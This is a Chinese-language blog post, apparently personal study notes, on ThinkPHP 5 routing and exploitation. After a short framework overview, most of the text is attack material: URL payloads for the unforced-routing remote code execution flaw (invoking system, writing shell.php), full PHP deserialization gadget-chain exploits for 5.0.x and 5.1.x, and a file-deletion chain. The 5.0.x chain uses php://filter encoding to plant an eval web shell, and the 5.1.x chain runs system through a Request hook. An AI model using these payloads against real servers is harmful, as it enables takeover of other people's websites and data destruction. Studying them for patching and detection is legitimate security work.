首页 > 其他分享 >tp5(finish)

tp5(finish)

时间:2024-06-30 19:30:43浏览次数:1  
标签:use finish think tp5 protected model php class

tp5

1.tp5.0开始

结构

www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录(Home:前台模块;Admin:后台模块)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行工具配置文件
│  ├─common.php         公共函数文件
│  ├─config.php         公共配置文件
│  ├─route.php          路由配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─database.php       数据库配置文件
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

url模式

未启用路由的情况下:

http://localhost/tp5/public/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:

php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]

可以看到,无论是URL访问还是命令行访问,都采用PATH_INFO访问地址,其中PATH_INFO的分隔符是可以设置的

tp5取消了URL模式的概念,普通模式被移除,但是参数支持

模块/控制器/操作?参数名=参数值&... 

URL大小写

默认情况下,URL是不区分大小写的,也就是说 URL里面的模块/控制器/操作名会自动转换为小写,控制器在最后调用的时候会转换为驼峰法处理。

当然也可以在配置文件中改为区分大小写

// 关闭URL中控制器和操作名的自动转换

'url_convert'    =>  false,

路由

一、普通模式

关闭路由,完全使用默认的PATH_INFO方式URL:

'url_route_on'  =>  false,

路由关闭后,不会解析任何路由规则,采用默认的PATH_INFO 模式访问URL:

http://serverName/index.php/module/controller/action/param/value/...

二、混合模式

开启路由,并使用路由定义+默认PATH_INFO方式的混合

'url_route_on'  =>  true,
'url_route_must'=>  false,

该方式下面,只需要对需要定义路由规则的访问地址定义路由规则,其它的仍然按照第一种普通模式的PATH_INFO模式访问URL。

三、强制模式

开启路由,并设置必须定义路由才能访问:

'url_route_on'  		=>  true,
'url_route_must'		=>  true,

如果未开启强制路由,那么可能会导致rce

例如定义首页路由

Route::get('/',function(){
    return 'Hello,world!';
});

2.未开启强制路由导致RCE命令执行

这里跟一下invokefunction的paylaod

参考:https://xz.aliyun.com/t/8312

在未开启强制路由的情况下,用户可以调用任意类的任意方法

两大版本:

  1. 5.0.0<=ThinkPHP5<=5.0.23
  2. 5.1.0<=ThinkPHP<=5.1.30

分析

image-20240605212347-95hse5f

默认是没有开启强制路由的

compose.json改成5.0.22

    "require": {
        "php": ">=5.4.0",
        "topthink/framework": "5.0.22"

然后运行composer update

输入payload:

http://192.168.117.98:8088/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

直接在入口处下断点

有用于过滤HTML和PHP标签的strip_tags函数,漏洞产生与路由调度有关,来看执行路由调度的代码:

image-20240612120019-w5agqag

跟进path看看

image-20240612203951-te9ylxe

可以看到$path的值由pathinfo()获取,所以跟进pathinfo函数

image-20240612204013-4iy9r8o

最后返回的path就是我们?m=xxx传入的index/\think\Container/invokefunction

回到routeCheck方法

image-20240613142523-95cn8fu

看到这里判断是否开启强制路由,若是开启了会抛出错误,但是默认是开启的,所以是存在RCE漏洞的

image-20240613142936-fnb49q1

然后走完routeCheck函数,获得$dispatch的值

App.php

跟进invokeMethodimage-20240613145418-gpgogil

跟进bindParams

image-20240613145451-wz89kbe

payload

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其他Paylaod:

Request:


?s=index/\think\Request/input&filter=system&data=tac /f*

write写shell

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
访问shell.php

display

?s=index/\think\view\driver\Think/display&template=<?php%20system(%27cat%20/fl*%27);?>

__call通杀

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php%20system(%27cat%20/fl*%27);?>

3.tp5.0.X反序列化利用链

我用的是5.0.25

漏洞测试代码 application/index/controller/Index.php 。

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp5.0.24';
    }
}

首先全局搜索__destruct

选择tp5.0.22/thinkphp/library/think/process/pipes/Windows.php

image-20240606201829-vajqtva

跟进removeFiles()

image-20240606202156-gq9uut3

file_exists调用toString方法

全局搜索__toString

找到tp5.0.22/thinkphp/library/think/Model.php

image-20240606202401-ldkbebr

到这的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;

abstract class Model{}
class Pivot extends Model
{
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

继续跟tp5.0.22/thinkphp/library/think/Model.php

的__toString方法

image-20240606202401-ldkbebr

跟进toJson方法

image-20240606213055-mbbcbz2

一直跟到toArray方法

image-20240606213354-4hd93im

尝试去寻找可控参数并且尝试进行下一次跳转

有三处可以调用__call方法的地方,都可以成功

选择第三处

if (!empty($this->append)) {     //1.append不为空
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {   //2.name不为数组
            // 追加关联对象属性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append($name)->toArray();
        } elseif (strpos($name, '.')) {       //3.name里不包含'.'
            list($key, $attr) = explode('.', $name);
            // 追加关联对象属性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append([$attr])->toArray();
        } else {
            $relation = Loader::parseName($name, 1, false);//4.解析name赋值给$relation 
            if (method_exists($this, $relation)) {         //5.自身存在relation方法
                $modelRelation = $this->$relation();   
                $value         = $this->getRelationData($modelRelation);

                if (method_exists($modelRelation, 'getBindAttr')) {//6.moldelRelation类中存在getBindAttr方法
                    $bindAttr = $modelRelation->getBindAttr();
                    if ($bindAttr) {                           //7.$modelRelation->getBindAttr()的返回值为true
                        foreach ($bindAttr as $key => $attr) {
                            $key = is_numeric($key) ? $attr : $key;
                            if (isset($this->data[$key])) {    //8.$this->data[$key]不存在
                                throw new Exception('bind attr has exists:' . $key);
                            } else {
                                $item[$key] = $value ? $value->getAttr($attr) : null;
                            }
                        }
                        continue;
                    }
                }
                $item[$name] = $value;
            } else {
                $item[$name] = $this->getAttr($name);
            }
        }
    }
}

$this->append​我们可控,所以name​就可控,relation​也就可控

主要看第5,6,7个条件if (method_exists($this, $relation))

  1. 该类需要存在relation方法,
  2. 且relation方法的返回值(一个类)需要存在getBindAttr方法
  3. 调用getBindAttr的返回值还要为真

所以先找

找一下该类(Model类)的哪一个方法可以返回一个任意的类对象

正则搜索return \$this->.*

好多都可以

找到getParent()​和getEror()​方法,这两个比较好利用,这里选择getError​继续进行构造

image-20240607112602-0eriphb

image-20240607112800-ra7u8ut

再往后需要全局搜索哪个类有getBindAttr​方法了

image-20240607113507-asy0lkm

只找到一个抽象类OneToOne​,所以找一下哪个类继承了次类,全局搜extends OneToOne

找到了HasOne​和BelongsTo​类,二者都可利用,这里我们使用HasOne​类,所以$moldelRelation​即为HasOne​类的实例

需要调用getBindAttr的返回值为真,这里bindAttr属性可控,条件8的data默认为空并且也可控

接下来就是看看怎么给value赋值,跳到__call魔术方法

$value = $this->getRelationData($modelRelation);

进入getRelationData类

image-20240607114537-6ojsocq

  1. 存在parent
  2. !$modelRelation->isSelfRelation()
  3. get_class($modelRelation->getModel()) == get_class($this->parent))

parent可控的,全局搜一下isSelfRelation()​,在Relation类

image-20240611093835-hyg2orn

这里的selfRelation我们可控,直接给赋值成false

跟进getModel方法

image-20240611094059-0r7nv25

query可控,继续跟进

image-20240611094126-zlgbbox

model可控,所以我们看看value需要赋值成哪个类的实例,value=parent,然后再让model和parent一样就行了

选择Output类

image-20240611095452-rfcr4so

编写一下这部分的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model
{
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $parent;//这里把parent改成public???
    public function __construct(){
        $this->error = new HasOne();
        $this->parent = new Output();
        $this->append = ['getError'];

    }

}
namespace think\model;
abstract class Relation
{
    protected $selfRelation;

    public function __construct(){
        $this->selfRelation = false;
    }
}


namespace think\console;
class Output{

}
namespace think\model\relation;
use think\model\Relation;


abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

namespace think\model\relation;
class HasOne extends OneToOne
{
}

namespace think\db;

class Query
{
    protected $model;
    public function __construct(){
        $this -> model= new Output();


    }

}

use think\console\Output;
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

这里有很坑的地方,调试的时候发现有两个parent属性,在后面的判断中parent被值为null的parent覆盖

image-20240611104310-gqvwzt0

思考之后在Pivot类中发现在子类Pivot里有一个public属性的parent这样的

image-20240611104355-sehou5o

我们是通过子类的实例想去获取父类的parent,但是子类本身存在parent属性,就导致父类的parent属性被子类的给覆盖了,把parent改成public就行了,这是改进的exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model
{
    protected $append = [];
    protected $data = [];
    protected $error;
    public $parent;//这里把parent改成public了???
    public function __construct(){
        $this->error = new HasOne();
        $this->parent = new Output();
        $this->append = ['getError'];

    }

}
namespace think\model;
use think\db\Query;
abstract class Relation
{
    protected $selfRelation;
    protected $query;

    public function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();
    }
}


namespace think\console;
class Output{

}
namespace think\model\relation;
use think\model\Relation;


abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

namespace think\model\relation;
class HasOne extends OneToOne

{
    protected $bindAttr = [1];
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this -> model= new Output();


    }

}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));


image-20240611110640-bk4kqc3

成功跳转到__call ​!!!

这里styles​可控,赋值成getAttr​进入if

跟进block函数,一直跟进

image-20240611131049-kpthjh9

image-20240611131057-rawlqxp

image-20240611131104-ahzi1qf

handle​可控,看看还有哪些类可以利用write​函数,选择Memcached​类

image-20240611131429-g0ohj31

这里handler可控,继续找还有哪些类能利用set方法,选择File类的set函数

image-20240611145704-fv8wzcf

目标是利用file_put_contents​来往文件里写马

先分析一下filename​,跟进getCacheKey​函数

image-20240611150028-g2cndwy

$this->options​可控,就可以控制filename了

再看$data,也就是写入文件的内容。

$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
	//数据压缩
	$data = gzcompress($data, 3);
}
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

使用伪协议配合编码过滤脏字符来绕过exit

https://xz.aliyun.com/t/7457

convert.iconv.utf-8.utf-7将脏字符过滤

convert.base64-decode保护我们的一句话木马不被过滤

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
<?php @eval($_POST['ccc']);?> 

将文件写到根目录下

image-20240611160115-cu5zcso

image-20240611160218-gk54cep

但是这里$data​是$value​序列化后的值,value已被写死为true,不可控

所以这里file_put_contents​可以写文件,但是内容不可控

看到下set剩下的代码

image-20240611153832-cjq18g3

跟进setTagItem​函数

image-20240611153951-je8tdlb

这里会再次调用set函数,并且这里的$value​可控,这样写入的内容我们就可控了

image-20240611170247-a3b557z

可以看到我们成功写入$value

image-20240611170328-bxj5cnx

$name成功被改写

image-20240611170932-qi5djsn

静态目录下成功写入文件,文件路径:

http://127.0.0.1/public/a.php3b58a9545013e88c7186db11bb158c44.php

image-20240611170916-m5hvvcg

拿到shell

如果本地没环境打远程服务器的话,我们怎么获取文件路径呢?

调试一下看看逻辑

image-20240611173149-88v723v

image-20240611173200-vmwa4ae

前面是第一次写文件,我们无法控制内容那次

后面又调用一次getCacheKey函数

image-20240611173555-90iftec

这才是我们的后门文件,这里key是定值true,所以$key也会是定值tag_c4ca4238a0b923820dcc509a6f75849b

之后进入has函数,会调用get函数,然后会再次调用getCacheKey​函数

image-20240611174321-ky4hw7b

这里将定值再进行一次md5,所以得到的filename还是定值3b58a9545013e88c7186db11bb158c44

经过拼接最终filename为

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php

所以最后的文件路径就是根目录下a.php3b58a9545013e88c7186db11bb158c44.php,这是定值

也有写函数获取路径的

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
    protected $tag;
    protected $options=[];
    public function __construct(){
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        echo $pos;
        echo "\n\n";
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";

    }

}

EXP:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model
{
    protected $append = [];
    protected $data = [];
    protected $error;
    public $parent;//这里把parent改成public了???
    public function __construct(){
        $this->error = new HasOne();
        $this->parent = new Output();
        $this->append = ['getError'];

    }

}
namespace think\model;
use think\db\Query;
abstract class Relation
{
    protected $selfRelation;
    protected $query;

    public function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();
    }
}


namespace think\console;
use think\session\driver\Memcached;
class Output
{
    protected $styles;
    private $handle;

    public function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ['getAttr'];
    }
}
namespace think\model\relation;
use think\model\Relation;


abstract class OneToOne extends Relation
{
}

namespace think\model\relation;
class HasOne extends OneToOne

{
    protected $bindAttr = [1];//只要不为空就行
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this -> model= new Output();


    }

}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
    protected $handler;
    PUBLIC function __construct(){
        $this->handler = new File();
    }
}


namespace think\cache\driver;

class File {

    protected $options = [];
    protected $tag;
    public function __construct()
    {
        $this->options = [
            'prefix' => '',
            'cache_subdir'  => '',
            'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => ''
        ];
        $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

4.tp5.1开始

多了route/route.php

image-20240616205539-jvt10a7

可以在此将/模块/控制器/操作方法​ 的 URL 映射到指定路由

image-20240616211017-7gfdh3o

image-20240616211028-cswgn29

————————————————————————————————————————————————

image-20240616211040-2tlx9i8

5.tp5.1.x反序列化利用链

composer create-project topthink/think=5.1.* tp

注意tp5.1版本的根目录要设置成/public

image-20240616204341-2gh4ho5

通用exp:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["l1_Tuer"=>["123"]];
        $this->data = ["l1_Tuer"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}

use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>

存在一个删除任意文件的功能

image-20240617200316-guv5orj

<?php

namespace think\process\pipes;

use think\Process;
class pipes{};

class Windows extends Pipes
{
    private $files = [];


    public function __construct(){
        $this->files = ["C:\\Users\\20778\\Desktop\\1.txt" ];
    }


}
echo urlencode(serialize(new Windows()));

接下来看如何调用到__toString方法

将$filename实例化为tostring方法在的类,但是这里的类是个trait

image-20240617201437-1p75jj6

所以trait是可调用方法,所以需要找一下那个类use Conversion

image-20240617201541-39c8vyb

找到了抽象类Model,Pivot extends Model,所以最终使用Pivot类

toString一直跟到toArray方法的关键代码:

image-20240617201231-avcnkjk

存在append可以进入if,最后的relation可控就可以跳转到__call方法

需要让$relation返回值为true,与getRelation方法有关,跟进

标签:use,finish,think,tp5,protected,model,php,class
From: https://www.cnblogs.com/m1xian/p/18276839

相关文章

  • 用TP5编写上传多张图片的功能
    这篇文章给大家分享的是用TP5怎样编写上传多张图片的功能。小编觉得挺实用的,因此分享给大家做个参考,实现效果及代码如下,文中示例代码介绍的非常详细,感兴趣的朋友接下来一起跟随小编看看吧。    1、效果图(每点击一次‘添加选项',就会有一个新的file框来添加新的图片)   ......
  • Spring中Bean的初始化创建AbastractApplicationContext.FinishBeanFactoryInitializat
    AbastractApplicationContext.FinishBeanFactoryInitialization模版调用子类DefaultListableBeanFacotry.preInstantiateSingletons通过循环子类DefaultListableBeanFactory中收集到的所有beanDefinitionNames,对满足条件的Bean进行初始化,getBean操作会调用父类AbstractBean......
  • finishActivity (int requestCode)
    publicvoidfinishActivity(intrequestCode)Since:APILevel1ForcefinishanotheractivitythatyouhadpreviouslystartedwithstartActivityForResult(Intent,int).ParametersrequestCodeTherequestcodeoftheactivitythatyouhadgiventostartActivit......
  • tp5 excel 导入数据到数据库
    1、引入包文件链接:https://pan.baidu.com/s/1TwtSXdQhj3B4m8NAuOcsVw?pwd=123a 提取码:123a2、包文件减压发在extend文件夹下在控制器中使用publicfunctionsave(){header("Access-Control-Allow-Origin:*");header("Access-Control-Allow-Methods:POST,......
  • 密码爆破ssh与ftp服务(finish)
    密码爆破ssh与ftp服务使用工具九头蛇(hydra)ssh环境配置win10安装sshd服务端在cmd命令行使用netstartsshd命令启动服务kali打开终端查看是否开启ssh服务nmap-sV-T4-p-[kali的ip]先创建一个用户名字典username.txt,把经常用的用户名写入到字典中touchus......
  • 信息安全事件应急包好DVWA(finish)
    ​*DVWA**信息安全事件应急处理报告**皮包**公司**20**24**年**5**月**20**日*****目录一、 概述 1.1应急处理服务背景 1.2应急处理服务目的 1.3应急处理服务范围 1.4应急处理服务依据 1.4.1应急处理服务委托协议 1.4.2基础标准与法律文件 1.4.3参考文件 ......
  • [983] Add a notification after finishing the Python script
    ref:HowtoimplementaPythondesktopnotifierusingtheplyermoduleYoucangenerateanotificationafteryourPythoncodefinishesexecutingusingvariousmethods.Hereareafewoptions:UsingPlyer(Cross-Platform):Installthe plyer libraryusi......
  • [Rust] Thread 2: Waiting all thread to finish using join handler
    Codefrompreviousblog:usestd::thread;usestd::time::Duration;fnmain(){thread::spawn(||{foriin1..10{println!("hinumber{}fromthespawnedthread!",i);thread::sleep(Duration::from_millis(1))......
  • tp5框架No input file specified
    最近从网上下载了一个项目,本地搭建好环境。访问页面出现Noinputfilespecified。这个问题之前就遇到过,是因为权限的问题,导致nginx无法解析php文件,这次有点不一样所以记录一下。在项目的public目录下发现有这样一个文件,user.ini 打开文件后是这样的内容open_basedir的作......
  • Unity编辑器扩展秘籍-利用Editor.finishedDefaultHeaderGUI增加Header功能
    利用Editor.finishedDefaultHeaderGUI这个回调可以实现自定义Header菜单usingUnityEditor;usingUnityEngine;namespaceYaojz{[InitializeOnLoad]publicstaticclassDefaultHeaderDrawer{staticDefaultHeaderDrawer(){E......